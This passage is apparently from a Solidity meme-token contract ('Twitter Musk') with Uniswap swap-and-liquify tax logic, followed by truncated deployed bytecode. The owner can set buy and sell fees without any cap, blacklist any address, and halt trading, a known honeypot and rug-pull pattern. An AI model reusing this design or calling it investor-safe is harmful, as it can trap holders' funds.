uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x9359c023caa6F09128d3d9a2380A75d2cf6b9ee2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 21000000 * 10**9; //2
uint256 public _maxWalletSize = 32000000 * 10**9; //3
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f70ccf7146105385780638f9a55c014610561576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613065565b610f9d565b005b34801561056d57600080fd5b50610576611036565b60405161058391906136e8565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600c81526020017f54776974746572204d75736b0000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b610fa5611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc3610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600f5481565b60606040518060400160405280600c81526020017f54776974746572204d75736b0000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b6000806000806